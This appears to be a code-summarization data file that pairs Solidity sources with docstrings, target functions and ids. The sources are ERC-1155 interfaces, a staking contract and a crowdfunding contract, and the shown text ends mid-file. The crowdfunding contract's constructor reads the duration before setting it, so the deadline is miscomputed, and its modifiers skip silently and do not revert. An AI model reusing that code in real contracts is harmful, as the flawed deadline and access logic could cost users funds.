identifier for this interface is 0xd9b67a26. interface IERC1155 { /// @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, /// including zero value transfers as well as minting or burning. /// Operator will always be msg.sender. /// Either event from address `0x0` signifies a minting operation. /// An event to address `0x0` signifies a burning or melting operation. /// The total value transferred from address 0x0 minus the total value transferred to 0x0 may /// be used by clients and exchanges to be added to the "circulating supply" for a given token ID. /// To define a token ID with no initial balance, the contract SHOULD emit the TransferSingle event /// from `0x0` to `0x0`, with the token creator as `_operator`. event TransferSingle( address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value ); /// @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, /// including zero value transfers as well as minting or burning. ///Operator will always be msg.sender. /// Either event from address `0x0` signifies a minting operation. /// An event to address `0x0` signifies a burning or melting operation. /// The total value transferred from address 0x0 minus the total value transferred to 0x0 may /// be used by clients and exchanges to be added to the "circulating supply" for a given token ID. /// To define multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event /// from `0x0` to `0x0`, with the token creator as `_operator`. event TransferBatch( address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values ); /// @dev MUST emit when an approval is updated. event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); /// @dev MUST emit when the URI is updated for a token ID. /// URIs are defined in RFC 3986. /// The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata JSON Schema". event URI( string _value, uint256 indexed _id ); /// @notice Transfers value amount of an _id from the _from address to the _to address specified. /// @dev MUST emit TransferSingle event on success. /// Caller must be approved to manage the _from account's tokens (see isApprovedForAll). /// MUST throw if `_to` is the zero address. /// MUST throw if balance of sender for token `_id` is lower than the `_value` sent. /// MUST throw on any other error. /// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). /// If so, it MUST call `onERC1155Received` on `_to` and revert if the return value /// is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`. /// @param from Source address /// @param to Target address /// @param id ID of the token type /// @param value Transfer amount /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom( address from, address to, uint256 id, uint256 value, bytes calldata data ) external; /// @notice Send multiple types of Tokens from a 3rd party in one transfer (with safety call). /// @dev MUST emit TransferBatch event on success. /// Caller must be approved to manage the _from account's tokens (see isApprovedForAll). /// MUST throw if `_to` is the zero address. /// MUST throw if length of `_ids` is not the same as length of `_values`. /// MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_values` sent. /// MUST throw on any other error. /// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). /// If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return value /// is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`. /// @param from Source addresses /// @param to Target addresses /// @param ids IDs of each token type /// @param values Transfer amounts per token type /// @param data Additional data with no specified format, sent in call to `_to` function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external; /// @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. /// @dev MUST emit the ApprovalForAll event on success. /// @param operator Address to add to the set of authorized operators /// @param approved True if the operator is approved, false to revoke approval function setApprovalForAll(address operator, bool approved) external; /// @notice Queries the approval status of an operator for a given owner. /// @param owner The owner of the Tokens /// @param operator Address of authorized operator /// @return True if the operator is approved, false if not function isApprovedForAll(address owner, address operator) external view returns (bool); /// @notice Get the balance of an account's Tokens. /// @param owner The address of the token holder /// @param id ID of the Token /// @return The _owner's balance of the Token type requested function balanceOf(address owner, uint256 id) external view returns (uint256); /// @notice Get the balance of multiple account/token pairs /// @param owners The addresses of the token holders /// @param ids ID of the Tokens /// @return balances_ The _owner's balance of the Token types requested function balanceOfBatch( address[] calldata owners, uint256[] calldata ids ) external view returns (uint256[] memory balances_); } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.5; interface IERC1155Receiver { /// @notice Handle the receipt of a single ERC1155 token type /// @dev The smart contract calls this function on the recipient /// after a `safeTransferFrom`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the ///transaction being reverted /// Note: the contract address is always the message sender /// @param operator The address which called `safeTransferFrom` function /// @param from The address which previously owned the token /// @param id An array containing the ids of the token being transferred /// @param value An array containing the amount of tokens being transferred /// @param data Additional data with no specified format /// @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /// @notice Handle the receipt of multiple ERC1155 token types /// @dev The smart contract calls this function on the recipient /// after a `safeTransferFrom`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the /// transaction being reverted /// Note: the contract address is always the message sender /// @param operator The address which called `safeTransferFrom` function /// @param from The address which previously owned the token /// @param ids An array containing ids of each token being transferred /// @param values An array containing amounts of each token being transferred /// @param data Additional data with no specified format /// @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.5; contract MixinNonFungibleToken { uint256 constant internal TYPE_MASK = uint256(uint128(~0)) << 128; uint256 constant internal NF_INDEX_MASK = uint128(~0); uint256 constant internal TYPE_NF_BIT = 1 << 255; mapping (uint256 => address) internal nfOwners; mapping (address => uint256[]) internal nfOwnerMapping; // One index as a hack to tell the diff between unset and 0-value mapping (uint256 => uint256) internal tokenIdToNFOwnerMappingOneIndex; /// @dev Returns true if token is non-fungible function isNonFungible(uint256 id) public pure returns(bool) { return id & TYPE_NF_BIT == TYPE_NF_BIT; } /// @dev Returns true if token is fungible function isFungible(uint256 id) public pure returns(bool) { return id & TYPE_NF_BIT == 0; } /// @dev Returns index of non-fungible token function getNonFungibleIndex(uint256 id) public pure returns(uint256) { return id & NF_INDEX_MASK; } /// @dev Returns base type of non-fungible token function getNonFungibleBaseType(uint256 id) public pure returns(uint256) { return id & TYPE_MASK; } /// @dev Returns true if input is base-type of a non-fungible token function isNonFungibleBaseType(uint256 id) public pure returns(bool) { // A base type has the NF bit but does not have an index. return (id & TYPE_NF_BIT == TYPE_NF_BIT) && (id & NF_INDEX_MASK == 0); } /// @dev Returns true if input is a non-fungible token function isNonFungibleItem(uint256 id) public pure returns(bool) { // A base type has the NF bit but does has an index. return (id & TYPE_NF_BIT == TYPE_NF_BIT) && (id & NF_INDEX_MASK != 0); } /// @dev returns owner of a non-fungible token function ownerOf(uint256 id) public view returns (address) { return nfOwners[id]; } /// @dev returns all owned NF tokenIds given an address function nfTokensOf(address _address) external view returns (uint256[] memory) { return nfOwnerMapping[_address]; } /// @dev transfer token from one NF owner to another function transferNFToken(uint256 _id, address _from, address _to) internal { require(nfOwners[_id] == _from, "Token not owned by the from address"); // chage nfOwner of the id to the new address nfOwners[_id] = _to; // only delete from the "from" user if this tokenId mapping already exists. When the from is 0x0 then it won't if (tokenIdToNFOwnerMappingOneIndex[_id] != 0) { // get index of where the token ID is stored in the from user's array of token IDs uint256 fromTokenIdIndex = tokenIdToNFOwnerMappingOneIndex[_id] - 1; // move the last token of the from user's array of token IDs to where fromTokenIdIndex is so we can shrink the array uint256 tokenIdToMove = nfOwnerMapping[_from][nfOwnerMapping[_from].length-1]; // make the moves and then shrink the array. make sure to move the reference of the index in the tokenIdToNFOwnerMappingOneIndex nfOwnerMapping[_from][fromTokenIdIndex] = tokenIdToMove; nfOwnerMapping[_from].pop(); tokenIdToNFOwnerMappingOneIndex[tokenIdToMove] = fromTokenIdIndex + 1; } // move the tokenId to the "to" user (and override index) nfOwnerMapping[_to].push(_id); tokenIdToNFOwnerMappingOneIndex[_id] = nfOwnerMapping[_to].length; // no need -1 because 1-index } } pragma solidity ^0.7.5; import "./mixin/MixinOwnable.sol"; contract WhitelistExchangesProxy is Ownable { mapping(address => bool) internal proxies; bool public paused = true; function setPaused(bool newPaused) external onlyOwner() { paused = newPaused; } function updateProxyAddress(address proxy, bool status) external onlyOwner() { proxies[proxy] = status; } function isAddressWhitelisted(address proxy) external view returns (bool) { if (paused) { return false; } else { return proxies[proxy]; } } } pragma solidity ^0.7.5; library LibString { // via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string memory _a, string memory _b) internal pure returns (string memory) { return strConcat(_a, _b, "", "", ""); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function uint2hexstr(uint i) internal pure returns (string memory) { if (i == 0) { return "0"; } uint j = i; uint len; while (j != 0) { len++; j = j >> 4; } uint mask = 15; bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ uint curr = (i & mask); bstr[k--] = curr > 9 ? byte(uint8(55 + curr)) : byte(uint8(48 + curr)); i = i >> 4; } return string(bstr); } }
Set batch order limit/
function setBatchOrderLimit(uint256 _batchOrderLimit) external onlyOwner() { batchOrderLimit = _batchOrderLimit; }
130,429
pragma solidity 0.5.16; import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/ReentrancyGuard.sol"; import "./IERC20Mintable.sol"; import "./Sacrifice.sol"; import "./lib/Sigmoid.sol"; /** * @title EasyStaking * * Note: all percentage values are between 0 (0%) and 1 (100%) * and represented as fixed point numbers containing 18 decimals like with Ether * 100% == 1 ether */ contract EasyStaking is Ownable, ReentrancyGuard { using Address for address; using SafeMath for uint256; using SafeERC20 for IERC20; using Sigmoid for Sigmoid.State; /** * @dev Emitted when a user deposits tokens. * @param sender User address. * @param id User's unique deposit ID. * @param amount The amount of deposited tokens. * @param balance Current user balance. * @param accruedEmission User's accrued emission. * @param prevDepositDuration Duration of the previous deposit in seconds. */ event Deposited( address indexed sender, uint256 indexed id, uint256 amount, uint256 balance, uint256 accruedEmission, uint256 prevDepositDuration ); /** * @dev Emitted when a user requests withdrawal. * @param sender User address. * @param id User's unique deposit ID. */ event WithdrawalRequested(address indexed sender, uint256 indexed id); /** * @dev Emitted when a user withdraws tokens. * @param sender User address. * @param id User's unique deposit ID. * @param amount The amount of withdrawn tokens. * @param fee The withdrawal fee. * @param balance Current user balance. * @param accruedEmission User's accrued emission. * @param lastDepositDuration Duration of the last deposit in seconds. */ event Withdrawn( address indexed sender, uint256 indexed id, uint256 amount, uint256 fee, uint256 balance, uint256 accruedEmission, uint256 lastDepositDuration ); /** * @dev Emitted when a new fee value is set. * @param value A new fee value. * @param sender The owner address at the moment of fee changing. */ event FeeSet(uint256 value, address sender); /** * @dev Emitted when a new withdrawal lock duration value is set. * @param value A new withdrawal lock duration value. * @param sender The owner address at the moment of value changing. */ event WithdrawalLockDurationSet(uint256 value, address sender); /** * @dev Emitted when a new withdrawal unlock duration value is set. * @param value A new withdrawal unlock duration value. * @param sender The owner address at the moment of value changing. */ event WithdrawalUnlockDurationSet(uint256 value, address sender); /** * @dev Emitted when a new total supply factor value is set. * @param value A new total supply factor value. * @param sender The owner address at the moment of value changing. */ event TotalSupplyFactorSet(uint256 value, address sender); /** * @dev Emitted when new sigmoid parameters values are set. * @param a A new parameter A value. * @param b A new parameter B value. * @param c A new parameter C value. * @param sender The owner address at the moment of value changing. */ event SigmoidParametersSet(uint256 a, int256 b, uint256 c, address sender); /** * @dev Emitted when a new Liquidity Providers Reward address value is set. * @param value A new address value. * @param sender The owner address at the moment of address changing. */ event LiquidityProvidersRewardAddressSet(address value, address sender); uint256 private constant YEAR = 365 days; // The maximum emission rate (in percentage) uint256 public constant MAX_EMISSION_RATE = 150 finney; // 15%, 0.15 ether // The period after which the new value of the parameter is set uint256 public constant PARAM_UPDATE_DELAY = 7 days; // STAKE token IERC20Mintable public token; struct UintParam { uint256 oldValue; uint256 newValue; uint256 timestamp; } struct AddressParam { address oldValue; address newValue; uint256 timestamp; } // The address for the Liquidity Providers reward AddressParam public liquidityProvidersRewardAddressParam; // The fee of the forced withdrawal (in percentage) UintParam public feeParam; // The time from the request after which the withdrawal will be available (in seconds) UintParam public withdrawalLockDurationParam; // The time during which the withdrawal will be available from the moment of unlocking (in seconds) UintParam public withdrawalUnlockDurationParam; // Total supply factor for calculating emission rate (in percentage) UintParam public totalSupplyFactorParam; // The deposit balances of users mapping (address => mapping (uint256 => uint256)) public balances; // The dates of users' deposits mapping (address => mapping (uint256 => uint256)) public depositDates; // The dates of users' withdrawal requests mapping (address => mapping (uint256 => uint256)) public withdrawalRequestsDates; // The last deposit id mapping (address => uint256) public lastDepositIds; // The total staked amount uint256 public totalStaked; // Variable that prevents _deposit method from being called 2 times bool private locked; // The library that is used to calculate user's current emission rate Sigmoid.State private sigmoid; /** * @dev Initializes the contract. * @param _owner The owner of the contract. * @param _tokenAddress The address of the STAKE token contract. * @param _liquidityProvidersRewardAddress The address for the Liquidity Providers reward. * @param _fee The fee of the forced withdrawal (in percentage). * @param _withdrawalLockDuration The time from the request after which the withdrawal will be available (in seconds). * @param _withdrawalUnlockDuration The time during which the withdrawal will be available from the moment of unlocking (in seconds). * @param _totalSupplyFactor Total supply factor for calculating emission rate (in percentage). * @param _sigmoidParamA Sigmoid parameter A. * @param _sigmoidParamB Sigmoid parameter B. * @param _sigmoidParamC Sigmoid parameter C. */ function initialize( address _owner, address _tokenAddress, address _liquidityProvidersRewardAddress, uint256 _fee, uint256 _withdrawalLockDuration, uint256 _withdrawalUnlockDuration, uint256 _totalSupplyFactor, uint256 _sigmoidParamA, int256 _sigmoidParamB, uint256 _sigmoidParamC ) external initializer { require(_owner != address(0), "zero address"); require(_tokenAddress.isContract(), "not a contract address"); Ownable.initialize(msg.sender); ReentrancyGuard.initialize(); token = IERC20Mintable(_tokenAddress); setFee(_fee); setWithdrawalLockDuration(_withdrawalLockDuration); setWithdrawalUnlockDuration(_withdrawalUnlockDuration); setTotalSupplyFactor(_totalSupplyFactor); setSigmoidParameters(_sigmoidParamA, _sigmoidParamB, _sigmoidParamC); setLiquidityProvidersRewardAddress(_liquidityProvidersRewardAddress); Ownable.transferOwnership(_owner); } /** * @dev This method is used to deposit tokens to a new deposit. * It generates a new deposit ID and calls another public "deposit" method. See its description. * @param _amount The amount to deposit. */ function deposit(uint256 _amount) external { deposit(++lastDepositIds[msg.sender], _amount); } /** * @dev This method is used to deposit tokens to the deposit opened before. * It calls the internal "_deposit" method and transfers tokens from sender to contract. * Sender must approve tokens first. * * Instead this, user can use the simple "transfer" method of STAKE token contract to make a deposit. * Sender's approval is not needed in this case. * * Note: each call updates the deposit date so be careful if you want to make a long staking. * * @param _depositId User's unique deposit ID. * @param _amount The amount to deposit. */ function deposit(uint256 _depositId, uint256 _amount) public { require(_depositId > 0 && _depositId <= lastDepositIds[msg.sender], "wrong deposit id"); _deposit(msg.sender, _depositId, _amount); _setLocked(true); require(token.transferFrom(msg.sender, address(this), _amount), "transfer failed"); _setLocked(false); } /** * @dev This method is called when STAKE tokens are transferred to this contract. * using "transfer", "transferFrom", or "transferAndCall" method of STAKE token contract. * It generates a new deposit ID and calls the internal "_deposit" method. * @param _sender The sender of tokens. * @param _amount The transferred amount. * @return true if successful */ function onTokenTransfer(address _sender, uint256 _amount, bytes calldata) external returns (bool) { require(msg.sender == address(token), "only token contract is allowed"); if (!locked) { _deposit(_sender, ++lastDepositIds[_sender], _amount); } return true; } /** * @dev This method is used to make a forced withdrawal with a fee. * It calls the internal "_withdraw" method. * @param _depositId User's unique deposit ID. * @param _amount The amount to withdraw (0 - to withdraw all). */ function makeForcedWithdrawal(uint256 _depositId, uint256 _amount) external { _withdraw(msg.sender, _depositId, _amount, true); } /** * @dev This method is used to request a withdrawal without a fee. * It sets the date of the request. * * Note: each call updates the date of the request so don't call this method twice during the lock. * * @param _depositId User's unique deposit ID. */ function requestWithdrawal(uint256 _depositId) external { require(_depositId > 0 && _depositId <= lastDepositIds[msg.sender], "wrong deposit id"); withdrawalRequestsDates[msg.sender][_depositId] = _now(); emit WithdrawalRequested(msg.sender, _depositId); } /** * @dev This method is used to make a requested withdrawal. * It calls the internal "_withdraw" method and resets the date of the request. * * If sender didn't call this method during the unlock period (if timestamp >= lockEnd + withdrawalUnlockDuration) * they have to call "requestWithdrawal" one more time. * * @param _depositId User's unique deposit ID. * @param _amount The amount to withdraw (0 - to withdraw all). */ function makeRequestedWithdrawal(uint256 _depositId, uint256 _amount) external { uint256 requestDate = withdrawalRequestsDates[msg.sender][_depositId]; require(requestDate > 0, "withdrawal wasn't requested"); uint256 timestamp = _now(); uint256 lockEnd = requestDate.add(withdrawalLockDuration()); require(timestamp >= lockEnd, "too early"); require(timestamp < lockEnd.add(withdrawalUnlockDuration()), "too late"); withdrawalRequestsDates[msg.sender][_depositId] = 0; _withdraw(msg.sender, _depositId, _amount, false); } /** * @dev This method is used to claim unsupported tokens accidentally sent to the contract. * It can only be called by the owner. * @param _token The address of the token contract (zero address for claiming native coins). * @param _to The address of the tokens/coins receiver. * @param _amount Amount to claim. */ function claimTokens(address _token, address payable _to, uint256 _amount) external onlyOwner { require(_to != address(0) && _to != address(this), "not a valid recipient"); require(_amount > 0, "amount should be greater than 0"); if (_token == address(0)) { if (!_to.send(_amount)) { // solium-disable-line security/no-send (new Sacrifice).value(_amount)(_to); } } else if (_token == address(token)) { uint256 availableAmount = token.balanceOf(address(this)).sub(totalStaked); require(availableAmount >= _amount, "insufficient funds"); require(token.transfer(_to, _amount), "transfer failed"); } else { IERC20 customToken = IERC20(_token); customToken.safeTransfer(_to, _amount); } } /** * @dev Sets the fee for forced withdrawals. Can only be called by owner. * @param _value The new fee value (in percentage). */ function setFee(uint256 _value) public onlyOwner { require(_value <= 1 ether, "should be less than or equal to 1 ether"); _updateUintParam(feeParam, _value); emit FeeSet(_value, msg.sender); } /** * @dev Sets the time from the request after which the withdrawal will be available. * Can only be called by owner. * @param _value The new duration value (in seconds). */ function setWithdrawalLockDuration(uint256 _value) public onlyOwner { require(_value <= 30 days, "shouldn't be greater than 30 days"); _updateUintParam(withdrawalLockDurationParam, _value); emit WithdrawalLockDurationSet(_value, msg.sender); } /** * @dev Sets the time during which the withdrawal will be available from the moment of unlocking. * Can only be called by owner. * @param _value The new duration value (in seconds). */ function setWithdrawalUnlockDuration(uint256 _value) public onlyOwner { require(_value >= 1 hours, "shouldn't be less than 1 hour"); _updateUintParam(withdrawalUnlockDurationParam, _value); emit WithdrawalUnlockDurationSet(_value, msg.sender); } /** * @dev Sets total supply factor for calculating emission rate. * Can only be called by owner. * @param _value The new factor value (in percentage). */ function setTotalSupplyFactor(uint256 _value) public onlyOwner { require(_value <= 1 ether, "should be less than or equal to 1 ether"); _updateUintParam(totalSupplyFactorParam, _value); emit TotalSupplyFactorSet(_value, msg.sender); } /** * @dev Sets parameters of the sigmoid that is used to calculate the user's current emission rate. * Can only be called by owner. * @param _a Sigmoid parameter A. Unsigned integer. * @param _b Sigmoid parameter B. Signed integer. * @param _c Sigmoid parameter C. Unsigned integer. Cannot be zero. */ function setSigmoidParameters(uint256 _a, int256 _b, uint256 _c) public onlyOwner { require(_a <= MAX_EMISSION_RATE.div(2), "should be less than or equal to a half of the maximum emission rate"); sigmoid.setParameters(_a, _b, _c); emit SigmoidParametersSet(_a, _b, _c, msg.sender); } /** * @dev Sets the address for the Liquidity Providers reward. * Can only be called by owner. * @param _address The new address. */ function setLiquidityProvidersRewardAddress(address _address) public onlyOwner { require(_address != address(0), "zero address"); require(_address != address(this), "wrong address"); AddressParam memory param = liquidityProvidersRewardAddressParam; if (param.timestamp == 0) { param.oldValue = _address; } else if (_paramUpdateDelayElapsed(param.timestamp)) { param.oldValue = param.newValue; } param.newValue = _address; param.timestamp = _now(); liquidityProvidersRewardAddressParam = param; emit LiquidityProvidersRewardAddressSet(_address, msg.sender); } /** * @return Returns current fee. */ function fee() public view returns (uint256) { return _getUintParamValue(feeParam); } /** * @return Returns current withdrawal lock duration. */ function withdrawalLockDuration() public view returns (uint256) { return _getUintParamValue(withdrawalLockDurationParam); } /** * @return Returns current withdrawal unlock duration. */ function withdrawalUnlockDuration() public view returns (uint256) { return _getUintParamValue(withdrawalUnlockDurationParam); } /** * @return Returns current total supply factor. */ function totalSupplyFactor() public view returns (uint256) { return _getUintParamValue(totalSupplyFactorParam); } /** * @return Returns current liquidity providers reward address. */ function liquidityProvidersRewardAddress() public view returns (address) { AddressParam memory param = liquidityProvidersRewardAddressParam; return _paramUpdateDelayElapsed(param.timestamp) ? param.newValue : param.oldValue; } /** * @return Emission rate based on the ratio of total staked to total supply. */ function getSupplyBasedEmissionRate() public view returns (uint256) { uint256 totalSupply = token.totalSupply(); uint256 factor = totalSupplyFactor(); if (factor == 0) return 0; uint256 target = totalSupply.mul(factor).div(1 ether); uint256 maxSupplyBasedEmissionRate = MAX_EMISSION_RATE.div(2); // 7.5% if (totalStaked >= target) { return maxSupplyBasedEmissionRate; } return maxSupplyBasedEmissionRate.mul(totalStaked).div(target); } /** * @param _depositDate Deposit date. * @param _amount Amount based on which emission is calculated and accrued. * @return Total accrued emission (for the user and Liquidity Providers), user share, and seconds passed since the previous deposit started. */ function getAccruedEmission( uint256 _depositDate, uint256 _amount ) public view returns (uint256 total, uint256 userShare, uint256 timePassed) { if (_amount == 0 || _depositDate == 0) return (0, 0, 0); timePassed = _now().sub(_depositDate); if (timePassed == 0) return (0, 0, 0); uint256 userEmissionRate = sigmoid.calculate(int256(timePassed)); userEmissionRate = userEmissionRate.add(getSupplyBasedEmissionRate()); if (userEmissionRate == 0) return (0, 0, timePassed); assert(userEmissionRate <= MAX_EMISSION_RATE); total = _amount.mul(MAX_EMISSION_RATE).mul(timePassed).div(YEAR * 1 ether); userShare = _amount.mul(userEmissionRate).mul(timePassed).div(YEAR * 1 ether); } /** * @return Sigmoid parameters. */ function getSigmoidParameters() public view returns (uint256 a, int256 b, uint256 c) { return sigmoid.getParameters(); } /** * @dev Calls internal "_mint" method, increases the user balance, and updates the deposit date. * @param _sender The address of the sender. * @param _id User's unique deposit ID. * @param _amount The amount to deposit. */ function _deposit(address _sender, uint256 _id, uint256 _amount) internal nonReentrant { require(_amount > 0, "deposit amount should be more than 0"); (uint256 sigmoidParamA,,) = getSigmoidParameters(); if (sigmoidParamA == 0 && totalSupplyFactor() == 0) revert("emission stopped"); (uint256 userShare, uint256 timePassed) = _mint(_sender, _id, 0); uint256 newBalance = balances[_sender][_id].add(_amount); balances[_sender][_id] = newBalance; totalStaked = totalStaked.add(_amount); depositDates[_sender][_id] = _now(); emit Deposited(_sender, _id, _amount, newBalance, userShare, timePassed); } /** * @dev Calls internal "_mint" method and then transfers tokens to the sender. * @param _sender The address of the sender. * @param _id User's unique deposit ID. * @param _amount The amount to withdraw (0 - to withdraw all). * @param _forced Defines whether to apply fee (true), or not (false). */ function _withdraw(address _sender, uint256 _id, uint256 _amount, bool _forced) internal nonReentrant { require(_id > 0 && _id <= lastDepositIds[_sender], "wrong deposit id"); require(balances[_sender][_id] > 0 && balances[_sender][_id] >= _amount, "insufficient funds"); (uint256 accruedEmission, uint256 timePassed) = _mint(_sender, _id, _amount); uint256 amount = _amount == 0 ? balances[_sender][_id] : _amount.add(accruedEmission); balances[_sender][_id] = balances[_sender][_id].sub(amount); totalStaked = totalStaked.sub(amount); if (balances[_sender][_id] == 0) { depositDates[_sender][_id] = 0; } uint256 feeValue = 0; if (_forced) { feeValue = amount.mul(fee()).div(1 ether); amount = amount.sub(feeValue); require(token.transfer(liquidityProvidersRewardAddress(), feeValue), "transfer failed"); } require(token.transfer(_sender, amount), "transfer failed"); emit Withdrawn(_sender, _id, amount, feeValue, balances[_sender][_id], accruedEmission, timePassed); } /** * @dev Mints MAX_EMISSION_RATE per annum and distributes the emission between the user and Liquidity Providers in proportion. * @param _user User's address. * @param _id User's unique deposit ID. * @param _amount Amount based on which emission is calculated and accrued. When 0, current deposit balance is used. */ function _mint(address _user, uint256 _id, uint256 _amount) internal returns (uint256, uint256) { uint256 currentBalance = balances[_user][_id]; uint256 amount = _amount == 0 ? currentBalance : _amount; (uint256 total, uint256 userShare, uint256 timePassed) = getAccruedEmission(depositDates[_user][_id], amount); if (total > 0) { require(token.mint(address(this), total), "minting failed"); balances[_user][_id] = currentBalance.add(userShare); totalStaked = totalStaked.add(userShare); require(token.transfer(liquidityProvidersRewardAddress(), total.sub(userShare)), "transfer failed"); } return (userShare, timePassed); } /** * @dev Sets the next value of the parameter and the timestamp of this setting. */ function _updateUintParam(UintParam storage _param, uint256 _newValue) internal { if (_param.timestamp == 0) { _param.oldValue = _newValue; } else if (_paramUpdateDelayElapsed(_param.timestamp)) { _param.oldValue = _param.newValue; } _param.newValue = _newValue; _param.timestamp = _now(); } /** * @return Returns the current value of the parameter. */ function _getUintParamValue(UintParam memory _param) internal view returns (uint256) { return _paramUpdateDelayElapsed(_param.timestamp) ? _param.newValue : _param.oldValue; } /** * @return Returns true if param update delay elapsed. */ function _paramUpdateDelayElapsed(uint256 _paramTimestamp) internal view returns (bool) { return _now() > _paramTimestamp.add(PARAM_UPDATE_DELAY); } /** * @dev Sets lock to prevent reentrance. */ function _setLocked(bool _locked) internal { locked = _locked; } /** * @return Returns current timestamp. */ function _now() internal view returns (uint256) { // Note that the timestamp can have a 900-second error: // https://github.com/ethereum/wiki/blob/c02254611f218f43cbb07517ca8e5d00fd6d6d75/Block-Protocol-2.0.md return now; // solium-disable-line security/no-block-members } }
Sets the time from the request after which the withdrawal will be available. Can only be called by owner. _value The new duration value (in seconds)./
function setWithdrawalLockDuration(uint256 _value) public onlyOwner { require(_value <= 30 days, "shouldn't be greater than 30 days"); _updateUintParam(withdrawalLockDurationParam, _value); emit WithdrawalLockDurationSet(_value, msg.sender); }
13,135,618
pragma solidity ^0.4.23; /* solhint-disable */ contract Project { struct ProjectInformation { string name; string shortDescription; string longDescription; address creator; uint deadline; uint durationInSeconds; uint goal; uint amountRaised; bool fundingGoalReached; bool deadlineReached; } ProjectInformation project; mapping (address => uint256) private supporter; event GoalReached (address creator, uint raisedAmount); event FundTransfer (address backer, uint amount, bool isContribution); constructor ( string name, string shortDesc, string longDesc, uint duration, uint fundingGoal, address creator ) public { // creator cannot be retrieved from msg.sender, because msg.sender is the // blockfund-contract address -> must be given by hand project = ProjectInformation({ creator: creator, name: name, shortDescription: shortDesc, longDescription: longDesc, durationInSeconds: (duration * 1 days), deadline: (now + project.durationInSeconds), goal: (fundingGoal * 1 ether), amountRaised: 0, fundingGoalReached: (project.amountRaised >= project.goal), deadlineReached: false }); } // ~~~~~~~~~~~~~~~~~~~~~~~~~ Modifiers ~~~~~~~~~~~~~~~~~~~~~~~~~ modifier afterDeadline() { if (now >= project.deadline) { _; } } modifier onlyCreator() { if (msg.sender == project.creator) { _; } } // ~~~~~~~~~~~~~~~~~~~~~~~~~ Getter ~~~~~~~~~~~~~~~~~~~~~~~~~ function getDeadline() public view returns (uint) { return project.deadline; } function getTimeToGoInSeconds() public view returns (uint) { // Also check overflow of difference between now and deadline if((project.deadline - now) <= 0 || (project.deadline - now) > project.durationInSeconds) { return 0; } else { return (project.deadline - now); } } function getGoalReached() public view returns (bool) { return (project.amountRaised >= project.goal); } function getDeadlineReached() public view returns (bool) { return (now >= project.deadline); } function getMyPersonalFundAmount(address funder) public view returns (uint) { return (supporter[funder] / (1 ether) ); } // Returns all information of the project relevant for function getProjectInformation() public view returns(address, string, string, string, uint, uint, uint) { return ( project.creator, project.name, project.shortDescription, project.longDescription, (project.amountRaised / (1 ether)), (project.goal / (1 ether)), this.getTimeToGoInSeconds() ); } // ~~~~~~~~~~~~~~~~~~~~~~~~~ Contract-Interaction 